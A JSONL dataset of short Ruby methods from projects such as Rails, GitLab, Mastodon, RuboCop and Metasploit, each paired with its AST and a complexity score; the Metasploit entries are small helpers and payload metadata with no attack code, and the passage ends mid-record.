{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/const_manager.rb","start_line":116,"raw_source":"def is_parseable(s)\n    return !parse(s).nil?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_parseable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},\"nil?\"]},\"!\"]}]}]}","id":"de8f0684-d083-4783-9f48-cdcaab376b68"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":202,"raw_source":"def test_schema_dumps_nulls_not_distinct\n    index_definition = dump_table_schema(\"companies\").split(/\\n/).grep(/t\\.index.*company_nulls_not_distinct/).first.strip\n    if supports_nulls_not_distinct?\n      assert_equal 't.index [\"firm_id\"], name: \"company_nulls_not_distinct\", nulls_not_distinct: true', index_definition\n    else\n      assert_equal 't.index [\"firm_id\"], name: \"company_nulls_not_distinct\"', index_definition\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumps_nulls_not_distinct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_definition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"companies\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index.*company_nulls_not_distinct\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"first\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_nulls_not_distinct?\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t.index [\\\"firm_id\\\"], name: \\\"company_nulls_not_distinct\\\", nulls_not_distinct: true\"]},{\"type\":\"lvar\",\"children\":[\"index_definition\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t.index [\\\"firm_id\\\"], name: \\\"company_nulls_not_distinct\\\"\"]},{\"type\":\"lvar\",\"children\":[\"index_definition\"]}]}]}]}]}","id":"fc0617e4-4c09-4c3a-9675-f3bc37553cc1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_subset.rb","start_line":146,"raw_source":"def not_included?(body, negated)\n        included?(body, !negated)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"not_included?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"arg\",\"children\":[\"negated\"]}]},{\"type\":\"send\",\"children\":[null,\"included?\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"negated\"]},\"!\"]}]}]}","id":"21a3fb14-754a-4a6a-8ac5-a55e91090d87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/validate_id_token_configuration_task.rb","start_line":58,"raw_source":"def validate_issuer_configuration!(open_id_configuration:, id_token_issuer:)\n        configured_issuer = open_id_configuration['issuer']\n        return if configured_issuer == id_token_issuer\n\n        raise \"issuer: value incorrectly configured: expected #{id_token_issuer}, got #{configured_issuer}\"\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_issuer_configuration!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"open_id_configuration\"]},{\"type\":\"kwarg\",\"children\":[\"id_token_issuer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configured_issuer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"open_id_configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"issuer\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_issuer\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"id_token_issuer\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"issuer: value incorrectly configured: expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_token_issuer\"]}]},{\"type\":\"str\",\"children\":[\", got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configured_issuer\"]}]}]}]}]}]}","id":"0daaa16c-418f-4ed3-a9bd-3670fee4a80f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/versions/row_component.rb","start_line":73,"raw_source":"def sharing\n      helpers.format_version_sharing(version.sharing)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sharing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"format_version_sharing\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"sharing\"]}]}]}","id":"e4b86cb1-5b2b-4d7e-bc8d-4ef5068f3399"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/email_digest_article_collector.rb","start_line":181,"raw_source":"def cutoff_date\n    a_few_days_ago = 7.days.ago.utc\n    return a_few_days_ago unless last_email_sent\n\n    [a_few_days_ago, (last_email_sent - 18.hours)].max\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cutoff_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a_few_days_ago\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]},\"utc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_email_sent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_few_days_ago\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_few_days_ago\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_email_sent\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[18]},\"hours\"]}]}]}]},\"max\"]}]}]}","id":"793df682-c49e-4e21-b67c-1659e52038a7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/remote_config.rb","start_line":82,"raw_source":"def cache_path\n      File.expand_path(\".rubocop-#{cache_name_from_uri}\", @base_dir)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".rubocop-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_name_from_uri\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@base_dir\"]}]}]}","id":"d80c793d-6f49-4c14-a9b5-d6f403b01404"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":181,"raw_source":"def after_suspension_change!\n    if @account.suspended?\n      Admin::SuspensionWorker.perform_async(@account.id)\n    else\n      Admin::UnsuspensionWorker.perform_async(@account.id)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"after_suspension_change!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"suspended?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"SuspensionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"UnsuspensionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]}]}","id":"d11e07f7-3368-4412-a852-e2b09c76e38d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":482,"raw_source":"def errors\n          return [] unless check_selectors?\n          return [\"Page class does not have views / elements defined!\"] if views.empty?\n\n          views.flat_map(&:errors)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_selectors?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Page class does not have views / elements defined!\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]}]}]}]}]}","id":"13421af4-c004-4b29-a3f8-8c74b0daeb5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/linux/x86/bind_tcp.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Bind TCP Stager (Linux x86)',\n        'Description' => 'Listen for a connection (Linux x86)',\n        'Author' => [ 'skape', 'egypt' ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => ARCH_X86,\n        'Handler' => Msf::Handler::BindTcp,\n        'Convention' => 'sockedi',\n        'Stager' => { 'RequiresMidstager' => true }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Bind TCP Stager (Linux x86)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection (Linux x86)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"skape\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiresMidstager\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"3e4d7fb4-d096-471b-a28f-af1b33b1f1d6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/initializable.rb","start_line":113,"raw_source":"def initializers\n        @initializers ||= Collection.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initializers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@initializers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Collection\"]},\"new\"]}]}]}","id":"102c72d8-a89f-408f-88fb-11a6dbbe656c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers.rb","start_line":66,"raw_source":"def table(name, database: nil, primary_key: nil)\n    Class.new(active_record_base(database: database)) do\n      self.table_name = name\n      self.inheritance_column = :_type_disabled\n      self.primary_key = primary_key if primary_key.present?\n\n      def self.name\n        table_name.singularize.camelcase\n      end\n\n      yield self if block_given?\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"database\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"primary_key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"active_record_base\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inheritance_column=\",{\"type\":\"sym\",\"children\":[\"_type_disabled\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primary_key\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"primary_key=\",{\"type\":\"lvar\",\"children\":[\"primary_key\"]}]},null]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]},\"singularize\"]},\"camelcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]}]}]}]}","id":"ee362385-070c-4d3c-94ad-c5069523b173"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":568,"raw_source":"def wait_for_gitlab_to_respond\n        wait_until(sleep_interval: 5, message: '502 - GitLab is taking too much time to respond') do\n          Capybara.page.has_no_text?(/GitLab is taking too much time to respond|Waiting for GitLab to boot/)\n        rescue Capybara::ElementNotFound\n          # In Chrome 138 we occasionally get `Unable to find xpath \"/html\"`\n          # https://github.com/teamcapybara/capybara/issues/2800\n          false\n        end\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_gitlab_to_respond\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"502 - GitLab is taking too much time to respond\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"page\"]},\"has_no_text?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab is taking too much time to respond|Waiting for GitLab to boot\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"ElementNotFound\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}]}","id":"62a41630-45aa-471e-9a01-8f95e3427de8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/postgres/postgres_sql.rb","start_line":42,"raw_source":"def rhost\n    datastore['RHOST']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}","id":"75176f74-1ea7-45fc-93e8-89f68b985e3b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_regexp_escape.rb","start_line":94,"raw_source":"def delimiter?(node, char)\n          delimiters = [node.loc.begin.source[-1], node.loc.end.source[0]]\n\n          delimiters.include?(char)\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delimiter?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"char\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delimiters\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]},\"source\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]},\"source\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delimiters\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"char\"]}]}]}]}","id":"59db9938-acd7-46cd-8366-f33f02bd5a7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/validatable.rb","start_line":8,"raw_source":"def validate_elements_present!\n        base_page = self.new\n\n        base_page.wait_if_retry_later\n\n        required_elements.each do |element|\n          unless base_page.has_element?(element.name, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)\n            raise Validatable::PageValidationError, \"#{element.name} did not appear on #{self.name} as expected\"\n          end\n        end\n      end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_elements_present!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_page\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_page\"]},\"wait_if_retry_later\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"required_elements\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_page\"]},\"has_element?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"Repeater\"]},\"DEFAULT_MAX_WAIT_TIME\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Validatable\"]},\"PageValidationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" did not appear on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" as expected\"]}]}]}]}]}]}]}","id":"84173ac1-c355-4c86-8467-d0fe9857902e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/paginator.rb","start_line":90,"raw_source":"def extract_target_record_id\n    anchor = params[:anchor] # e.g., \"comment-78758\" (without #)\n    return nil unless anchor\n\n    match = anchor.match(/^(comment|activity)-(\\d+)$/)\n    match && match.length == 3 ? [match[1].inquiry, match[2].to_i] : []\n  end","complexity_score":16.48,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_target_record_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"anchor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"anchor\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"anchor\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"anchor\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(comment|activity)-(\\\\d+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"inquiry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"146bcfc2-3f14-4aef-86d0-8671604d16ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/browser.rb","start_line":237,"raw_source":"def self.apply_lookalike_policy\n        gitlab_host = URI.parse(Runtime::Scenario.attributes[:gitlab_address]).host\n        policy_dir = \"/etc/opt/chrome/policies/managed\"\n        policy_file = File.join(policy_dir, \"lookalike-policy.json\")\n\n        return if File.exist?(policy_file)\n\n        policy = {\n          \"LookalikeWarningAllowlistDomains\" => [gitlab_host]\n        }\n\n        FileUtils.mkdir_p(policy_dir)\n        File.write(policy_file, JSON.pretty_generate(policy))\n        QA::Runtime::Logger.info(\"Chrome LookalikeWarningAllowlistDomains policy created to allow: #{gitlab_host}\")\n      rescue StandardError => e\n        QA::Runtime::Logger.info(\"Chrome policy creation failed: #{e.message}\")\n      end","complexity_score":23.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apply_lookalike_policy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitlab_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitlab_address\"]}]}]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"policy_dir\",{\"type\":\"str\",\"children\":[\"/etc/opt/chrome/policies/managed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"policy_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"policy_dir\"]},{\"type\":\"str\",\"children\":[\"lookalike-policy.json\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"policy_file\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"policy\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LookalikeWarningAllowlistDomains\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_host\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"policy_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"policy_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"policy\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Chrome LookalikeWarningAllowlistDomains policy created to allow: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_host\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Chrome policy creation failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"869f40a3-e9a6-4cb4-a7d7-fa89d16c46d5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/fasp/provider.rb","start_line":111,"raw_source":"def update_info!(confirm: false)\n    self.confirmed = true if confirm\n    provider_info = Fasp::Request.new(self).get('/provider_info')\n    assign_attributes(\n      privacy_policy: provider_info['privacyPolicy'],\n      capabilities: provider_info['capabilities'],\n      sign_in_url: provider_info['signInUrl'],\n      contact_email: provider_info['contactEmail'],\n      fediverse_account: provider_info['fediverseAccount']\n    )\n    save!\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_info!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"confirm\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"confirmed=\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"provider_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Request\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"get\",{\"type\":\"str\",\"children\":[\"/provider_info\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"privacy_policy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_info\"]}